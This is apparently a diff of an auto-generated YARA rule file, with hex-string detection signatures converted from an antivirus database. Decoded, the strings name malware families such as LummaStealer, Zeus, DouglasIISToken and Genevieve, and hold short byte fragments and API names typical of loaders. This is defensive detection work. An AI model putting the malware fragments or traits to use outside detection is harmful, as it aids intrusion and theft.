-356377,7 +378958,7 @@ rule _InfrastructureShared_27320{ ((#a_01_0 & 1)*21283) >=2 } -rule _InfrastructureShared_27321{ +rule _InfrastructureShared_29051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356388,7 +378969,7 @@ rule _InfrastructureShared_27321{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-2) >=2 } -rule _InfrastructureShared_27322{ +rule _InfrastructureShared_29052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356399,7 +378980,7 @@ rule _InfrastructureShared_27322{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*8960) >=2 } -rule _InfrastructureShared_27323{ +rule _InfrastructureShared_29053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 01 00 04 00 21 " @@ -356411,7 +378992,7 @@ rule _InfrastructureShared_27323{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*31073+(#a_01_3 & 1)*1) >=1 } -rule _InfrastructureShared_27324{ +rule _InfrastructureShared_29054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356422,7 +379003,7 @@ rule _InfrastructureShared_27324{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*25377) >=3 } -rule _InfrastructureShared_27325{ +rule _InfrastructureShared_29055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -356432,7 +379013,17 @@ rule _InfrastructureShared_27325{ ((#a_01_0 & 1)*16675) >=6 } -rule _InfrastructureShared_27326{ +rule _InfrastructureShared_29056{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 50 4b 21 4d 54 42 00 01 00 44 45 00 54 00 57 00 5f 00 50 00 52 00 4f 00 56 00 49 00 44 00 45 00 52 00 5f 00 47 00 55 00 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_29057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356442,7 +379033,7 @@ rule _InfrastructureShared_27326{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27327{ +rule _InfrastructureShared_29058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356452,7 +379043,7 @@ rule _InfrastructureShared_27327{ ((#a_01_0 & 1)*21283) >=2 } -rule _InfrastructureShared_27328{ +rule _InfrastructureShared_29059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -356464,7 +379055,7 @@ rule _InfrastructureShared_27328{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*30821+(#a_01_2 & 1)*12564) >=2 } -rule _InfrastructureShared_27329{ +rule _InfrastructureShared_29060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356476,7 +379067,7 @@ rule _InfrastructureShared_27329{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1398+(#a_01_2 & 1)*29294) >=3 } -rule _InfrastructureShared_27330{ +rule _InfrastructureShared_29061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356487,7 +379078,7 @@ rule _InfrastructureShared_27330{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30322) >=3 } -rule _InfrastructureShared_27331{ +rule _InfrastructureShared_29062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356499,7 +379090,7 @@ rule _InfrastructureShared_27331{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*103+(#a_01_2 & 1)*47) >=3 } -rule _InfrastructureShared_27332{ +rule _InfrastructureShared_29063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 02 00 21 " @@ -356510,7 +379101,7 @@ rule _InfrastructureShared_27332{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*119) >=5 } -rule _InfrastructureShared_27333{ +rule _InfrastructureShared_29064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -356523,7 +379114,7 @@ rule _InfrastructureShared_27333{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*32261+(#a_01_3 & 1)*28278+(#a_01_4 & 1)*16675) >=5 } -rule _InfrastructureShared_27334{ +rule _InfrastructureShared_29065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -356536,7 +379127,7 @@ rule _InfrastructureShared_27334{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*0+(#a_01_2 & 1)*30564+(#a_01_3 & 1)*25445) >=5 } -rule _InfrastructureShared_27335{ +rule _InfrastructureShared_29066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 07 00 04 00 21 " @@ -356549,7 +379140,7 @@ rule _InfrastructureShared_27335{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27491+(#a_01_2 & 1)*29298+(#a_01_3 & 1)*28279) >=7 } -rule _InfrastructureShared_27336{ +rule _InfrastructureShared_29067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -356560,7 +379151,7 @@ rule _InfrastructureShared_27336{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*53) >=10 } -rule _InfrastructureShared_27337{ +rule _InfrastructureShared_29068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1f 00 1f 00 05 00 21 " @@ -356572,7 +379163,7 @@ rule _InfrastructureShared_27337{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21298+(#a_01_2 & 1)*-796) >=31 } -rule _InfrastructureShared_27338{ +rule _InfrastructureShared_29069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356582,7 +379173,7 @@ rule _InfrastructureShared_27338{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27339{ +rule _InfrastructureShared_29070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -356592,7 +379183,7 @@ rule _InfrastructureShared_27339{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27340{ +rule _InfrastructureShared_29071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -356604,7 +379195,7 @@ rule _InfrastructureShared_27340{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26912+(#a_01_2 & 1)*46) >=1 } -rule _InfrastructureShared_27341{ +rule _InfrastructureShared_29072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356614,7 +379205,7 @@ rule _InfrastructureShared_27341{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27342{ +rule _InfrastructureShared_29073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356625,7 +379216,7 @@ rule _InfrastructureShared_27342{ ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*3) >=3 } -rule _InfrastructureShared_27343{ +rule _InfrastructureShared_29074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356637,7 +379228,7 @@ rule _InfrastructureShared_27343{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*29538+(#a_01_2 & 1)*29264) >=3 } -rule _InfrastructureShared_27344{ +rule _InfrastructureShared_29075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356649,7 +379240,7 @@ rule _InfrastructureShared_27344{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25445+(#a_01_2 & 1)*27753) >=3 } -rule _InfrastructureShared_27345{ +rule _InfrastructureShared_29076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -356662,20 +379253,21 @@ rule _InfrastructureShared_27345{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21272+(#a_01_2 & 1)*4352+(#a_01_3 & 1)*28530) >=5 } -rule _InfrastructureShared_27346{ +rule _InfrastructureShared_29077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " strings : $a_01_0 = {77 46 69 3a 54 72 6f 6a 61 6e 2f 41 50 54 39 2e 64 6c 6c 00 01 00 0f 49 6e 73 74 61 6c 6c 53 65 72 76 69 63 65 00 01 00 11 55 6e 69 6e 73 74 61 6c 6c 53 65 72 76 69 63 65 00 01 00 0b 52 75 6e 49 6e 73 74 61 6c 6c 00 01 00 0d 52 75 6e 55 6e 69 6e 73 74 61 6c 6c 00 01 00 06 49 50 52 49 50 00 01 00 08 41 43 44 43 42 42 31 00 00 00 61 } //19491 $a_01_2 = {00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //20 Ȁ℀䄣䙌吺潲慪㩮卍䱉 - $a_01_3 = {79 70 74 69 6b 2e 59 43 21 4d 54 42 00 0a 00 1f 08 11 07 03 11 07 91 07 07 09 84 95 07 11 04 84 95 d7 6e 20 ff 00 00 00 6a 5f b7 95 61 86 9c 0a 00 2a 11 04 07 09 84 95 d7 6e 20 ff 00 00 00 6a 5f b8 13 04 1f fb 13 08 1f fb 20 8d 00 00 00 61 13 08 07 09 84 95 13 05 1f fa 13 08 00 00 61 79 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 45 78 70 } //19247 - $a_01_4 = {74 3a 57 69 6e 33 32 2f 44 6f 75 67 6c 61 73 49 49 53 54 6f 6b 65 6e 21 64 68 61 00 01 00 20 66 75 63 6b 2c 63 61 6e 27 74 20 66 69 6e 64 20 57 4d 49 20 70 72 6f 63 65 73 73 20 50 49 44 2e 01 00 22 4b 2e 24 2f 43 68 75 72 72 61 73 6b 69 74 6f 2f 2d 2d 3e 52 75 6e 6e 69 6e 67 20 63 6f 6d 6d 61 6e 64 00 00 61 79 00 } //28524 + $a_01_3 = {79 70 74 69 6b 2e 59 43 21 4d 54 42 00 0a 00 1f 08 11 07 03 11 07 91 07 07 09 84 95 07 11 04 84 95 d7 6e 20 ff 00 00 00 6a 5f b7 95 61 86 9c 0a 00 2a 11 04 07 09 84 95 d7 6e 20 ff 00 00 00 6a 5f b8 13 04 1f fb 13 08 1f fb 20 8d 00 00 00 61 13 08 07 09 84 95 13 05 1f fa 13 08 00 00 61 79 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a } //19247 + $a_01_4 = {57 69 6e 33 32 2f 5a 65 75 73 2e 5a 43 21 4d 54 42 00 01 00 4f 00 73 00 20 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 00 00 00 00 42 e9 4c 30 39 6e d8 40 94 3a b9 13 } //28257 + $a_01_5 = {d4 f5 8a 89 f7 c4 ca 32 46 a2 ec da 06 e5 11 1a f2 b3 46 98 ec 62 27 6b 4a a2 14 6a cb 60 34 62 d2 fa 4f e6 b5 c5 c2 00 00 61 79 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 6f 75 67 6c 61 73 49 49 53 54 6f 6b 65 6e 21 64 68 61 00 01 00 20 66 75 63 6b 2c 63 61 6e 27 74 20 66 69 6e 64 20 57 4d 49 20 70 72 6f 63 65 73 73 20 50 49 44 2e 01 00 22 4b 2e 24 2f 43 68 75 72 72 61 73 6b 69 74 6f 2f 2d 2d 3e 52 75 6e 6e 69 6e 67 } //3268 condition: - ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*20+(#a_01_3 & 1)*19247+(#a_01_4 & 1)*28524) >=6 + ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*20+(#a_01_3 & 1)*19247+(#a_01_4 & 1)*28257+(#a_01_5 & 1)*3268) >=6 } -rule _InfrastructureShared_27347{ +rule _InfrastructureShared_29078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -356685,7 +379277,17 @@ rule _InfrastructureShared_27347{ ((#a_01_0 & 1)*16675) >=20 } -rule _InfrastructureShared_27348{ +rule _InfrastructureShared_29079{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 75 73 2e 5a 43 21 4d 54 42 00 01 00 4f 00 73 00 20 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 00 00 00 00 42 e9 4c 30 39 6e d8 40 94 3a b9 13 c4 0c } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_29080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356696,7 +379298,7 @@ rule _InfrastructureShared_27348{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24946) >=2 } -rule _InfrastructureShared_27349{ +rule _InfrastructureShared_29081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356708,7 +379310,7 @@ rule _InfrastructureShared_27349{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27753+(#a_01_2 & 1)*29285) >=3 } -rule _InfrastructureShared_27350{ +rule _InfrastructureShared_29082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -356718,7 +379320,7 @@ rule _InfrastructureShared_27350{ ((#a_01_0 & 1)*16675) >=6 } -rule _InfrastructureShared_27351{ +rule _InfrastructureShared_29083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 04 00 21 " @@ -356731,7 +379333,7 @@ rule _InfrastructureShared_27351{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*27403+(#a_01_3 & 1)*20553) >=10 } -rule _InfrastructureShared_27352{ +rule _InfrastructureShared_29084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 05 00 21 " @@ -356744,7 +379346,7 @@ rule _InfrastructureShared_27352{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*14415+(#a_01_2 & 1)*21076+(#a_01_3 & 1)*29541) >=12 } -rule _InfrastructureShared_27353{ +rule _InfrastructureShared_29085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -356757,7 +379359,7 @@ rule _InfrastructureShared_27353{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*31073+(#a_01_2 & 1)*2067+(#a_01_3 & 1)*22877) >=15 } -rule _InfrastructureShared_27354{ +rule _InfrastructureShared_29086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356767,7 +379369,7 @@ rule _InfrastructureShared_27354{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27355{ +rule _InfrastructureShared_29087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356777,7 +379379,7 @@ rule _InfrastructureShared_27355{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27356{ +rule _InfrastructureShared_29088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -356787,7 +379389,7 @@ rule _InfrastructureShared_27356{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27357{ +rule _InfrastructureShared_29089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 07 00 21 " @@ -356802,7 +379404,7 @@ rule _InfrastructureShared_27357{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27748+(#a_01_3 & 1)*116+(#a_01_4 & 1)*25960+(#a_01_5 & 1)*29793+(#a_01_6 & 1)*25459) >=1 } -rule _InfrastructureShared_27358{ +rule _InfrastructureShared_29090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -356814,7 +379416,7 @@ rule _InfrastructureShared_27358{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*24832+(#a_01_2 & 1)*0) >=2 } -rule _InfrastructureShared_27359{ +rule _InfrastructureShared_29091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356826,7 +379428,7 @@ rule _InfrastructureShared_27359{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16705+(#a_01_2 & 1)*2816) >=3 } -rule _InfrastructureShared_27360{ +rule _InfrastructureShared_29092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -356839,7 +379441,7 @@ rule _InfrastructureShared_27360{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*31074+(#a_01_2 & 1)*4+(#a_01_3 & 1)*16725) >=4 } -rule _InfrastructureShared_27361{ +rule _InfrastructureShared_29093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -356852,7 +379454,7 @@ rule _InfrastructureShared_27361{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0+(#a_01_3 & 1)*25646) >=4 } -rule _InfrastructureShared_27362{ +rule _InfrastructureShared_29094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 04 00 21 " @@ -356865,7 +379467,7 @@ rule _InfrastructureShared_27362{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26723+(#a_01_2 & 1)*23653+(#a_01_3 & 1)*108) >=12 } -rule _InfrastructureShared_27363{ +rule _InfrastructureShared_29095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -356875,7 +379477,7 @@ rule _InfrastructureShared_27363{ ((#a_01_0 & 1)*16675) >=20 } -rule _InfrastructureShared_27364{ +rule _InfrastructureShared_29096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -356887,7 +379489,7 @@ rule _InfrastructureShared_27364{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*72+(#a_01_3 & 1)*-18929) >=30 } -rule _InfrastructureShared_27365{ +rule _InfrastructureShared_29097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356897,7 +379499,7 @@ rule _InfrastructureShared_27365{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27366{ +rule _InfrastructureShared_29098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 01 00 03 00 21 " @@ -356909,18 +379511,29 @@ rule _InfrastructureShared_27366{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29477+(#a_01_2 & 1)*29541) >=1 } -rule _InfrastructureShared_27367{ +rule _InfrastructureShared_29099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : $a_01_0 = {5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 18 73 68 65 6c 6c 20 73 65 74 75 70 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 01 00 3a 75 70 74 69 6d 65 3a 20 25 2d 2e 32 64 20 64 61 79 73 20 25 2d 2e 32 64 20 68 6f 75 72 73 20 25 2d 2e 32 64 20 6d 69 6e 75 74 65 73 20 25 2d 2e 32 64 20 73 65 63 6f 6e 64 73 } //25635 - $a_01_1 = {7b 00 00 03 00 03 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 74 72 65 73 69 64 00 01 00 05 bd 35 05 00 00 01 00 05 3d 35 05 00 00 01 00 05 68 35 05 00 00 03 00 08 2b c0 50 0f 01 4c 24 fe 03 00 08 33 c0 50 0f 01 4c 24 fe 03 00 08 50 0f 01 4c 24 fe 58 e9 03 00 08 00 00 0f 01 4c 24 fe } //0 + $a_01_1 = {7b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 4d 4a 31 00 01 00 10 50 6c 61 79 61 4e 65 78 74 41 50 49 2e 64 6c 6c 01 00 18 50 6c 61 79 61 4e 65 78 74 41 50 49 50 72 65 73 65 6e 74 4f 66 66 65 72 01 00 1d 50 6c } //0 condition: ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_27368{ +rule _InfrastructureShared_29100{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 4d 4a 31 00 01 00 10 50 6c 61 79 61 4e 65 78 74 41 50 49 2e 64 6c 6c 01 00 18 50 6c 61 79 61 4e 65 78 74 41 50 49 50 72 65 73 65 6e 74 4f 66 } //16675 + $a_01_1 = {01 00 1d 50 6c 61 79 61 4e 65 78 74 41 50 49 52 65 70 6f 72 74 4f 66 66 65 72 41 63 63 65 70 74 00 00 61 7b 00 00 03 00 03 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 74 72 65 73 69 64 00 01 00 05 bd 35 05 00 00 01 00 05 3d 35 05 00 00 01 00 05 68 35 05 00 00 03 00 08 2b c0 50 0f 01 4c 24 fe 03 00 08 33 c0 50 0f 01 4c 24 fe 03 00 08 } //25958 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25958) >=3 + +} +rule _InfrastructureShared_29101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 0a 00 21 " @@ -356937,7 +379550,7 @@ rule _InfrastructureShared_27368{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22782+(#a_01_2 & 1)*19457+(#a_01_3 & 1)*17744+(#a_01_5 & 1)*17418+(#a_01_7 & 1)*21515+(#a_01_8 & 1)*27971+(#a_01_9 & 1)*24899) >=3 } -rule _InfrastructureShared_27369{ +rule _InfrastructureShared_29102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -356950,7 +379563,7 @@ rule _InfrastructureShared_27369{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*21072+(#a_01_2 & 1)*21869+(#a_01_3 & 1)*8515) >=4 } -rule _InfrastructureShared_27370{ +rule _InfrastructureShared_29103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -356959,12 +379572,12 @@ rule _InfrastructureShared_27370{ $a_01_1 = {65 73 01 00 0b 54 52 41 56 41 53 49 54 45 20 7c 01 00 0d 4c 49 42 45 52 41 41 43 45 53 53 4f 7c 00 00 61 7b 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 65 6e 65 76 69 65 76 65 2e 43 21 64 68 61 00 01 00 0d 50 61 72 61 43 6d 64 20 45 72 72 6f 72 01 00 13 43 6f 6d 70 72 65 73 73 20 44 61 74 61 20 45 } //28257 $a_01_2 = {72 01 00 0d 57 69 6e 53 65 72 76 65 72 32 30 30 33 01 00 0a 43 72 65 61 74 65 57 6f 72 6b 01 00 07 54 43 50 2e 65 78 65 00 00 61 7b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 75 6e 50 45 41 50 49 43 61 6c 6c 73 21 4d 54 42 00 01 00 0c 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0e 47 65 74 50 72 6f 63 41 64 64 } //29298 $a_01_3 = {73 01 00 0c 4c 6f 61 64 4c 69 62 72 61 72 79 41 01 00 0c 43 72 65 61 74 65 54 68 72 65 61 64 01 00 13 57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 00 61 7b 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 70 72 69 6e 74 2e 65 78 65 00 0a 00 09 70 72 69 6e 74 2e 70 64 62 0a 00 22 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 64 6f 77 73 2e 46 } //25970 - $a_01_4 = {73 79 73 74 65 6d 2e 50 72 69 6e 74 0a 00 1a 50 00 72 00 69 00 6e 00 74 00 20 00 55 00 74 00 69 00 6c 00 69 00 74 00 79 00 0a 00 12 50 00 72 00 69 00 6e 00 74 00 2e 00 45 00 78 00 65 00 00 00 61 7c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //27753 + $a_01_4 = {73 79 73 74 65 6d 2e 50 72 69 6e 74 0a 00 1a 50 00 72 00 69 00 6e 00 74 00 20 00 55 00 74 00 69 00 6c 00 69 00 74 00 79 00 0a 00 12 50 00 72 00 69 00 6e 00 74 00 2e 00 45 00 78 00 65 00 00 00 61 7b 00 00 68 00 68 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e } //27753 condition: ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28257+(#a_01_2 & 1)*29298+(#a_01_3 & 1)*25970+(#a_01_4 & 1)*27753) >=4 } -rule _InfrastructureShared_27371{ +rule _InfrastructureShared_29104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -356977,33 +379590,46 @@ rule _InfrastructureShared_27371{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12914+(#a_01_2 & 1)*12082+(#a_01_3 & 1)*24919) >=4 } -rule _InfrastructureShared_27372{ +rule _InfrastructureShared_29105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " strings : $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 52 75 6e 50 45 41 50 49 43 61 6c 6c 73 21 4d 54 42 00 01 00 0c 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0e 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 01 00 0c 4c 6f 61 64 4c 69 62 72 61 72 79 41 01 00 0c 43 72 65 61 74 65 } //18467 $a_01_1 = {65 61 64 01 00 13 57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 00 61 7b 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 70 72 69 6e 74 2e 65 78 65 00 0a 00 09 70 72 69 6e 74 2e 70 64 62 0a 00 22 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 64 6f 77 73 2e 46 69 6c 65 73 79 73 74 65 6d 2e 50 72 69 6e 74 0a 00 1a 50 00 72 00 69 00 6e 00 74 } //26708 - $a_01_3 = {00 69 00 6c 00 69 00 74 00 79 00 0a 00 12 50 00 72 00 69 00 6e 00 74 00 2e 00 45 00 78 00 65 00 00 00 61 7c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 53 53 21 4d 54 42 00 01 00 4c 06 17 58 0a 06 20 00 01 00 00 5d 0a 08 11 06 06 94 58 0c 08 20 00 01 00 00 5d 0c 11 06 06 94 13 } //85 - $a_01_4 = {06 11 06 08 94 9e } //4356 + $a_01_3 = {00 69 00 6c 00 69 00 74 00 79 00 0a 00 12 50 00 72 00 69 00 6e 00 74 00 2e 00 45 00 78 00 65 00 00 00 61 7b 00 00 68 00 68 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 44 21 4d 54 42 00 64 00 04 4a 53 43 00 01 00 0c 77 00 61 00 6c 00 6c 00 65 00 74 00 01 00 0c 63 00 72 00 79 00 70 00 74 00 6f 00 01 00 } //85 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26708+(#a_01_3 & 1)*85+(#a_01_4 & 1)*4356) >=5 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26708+(#a_01_3 & 1)*85) >=5 } -rule _InfrastructureShared_27373{ +rule _InfrastructureShared_29106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " strings : $a_01_0 = {4e 3a 70 72 69 6e 74 2e 65 78 65 00 0a 00 09 70 72 69 6e 74 2e 70 64 62 0a 00 22 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 64 6f 77 73 2e 46 69 6c 65 73 79 73 74 65 6d 2e 50 72 69 6e 74 0a 00 1a 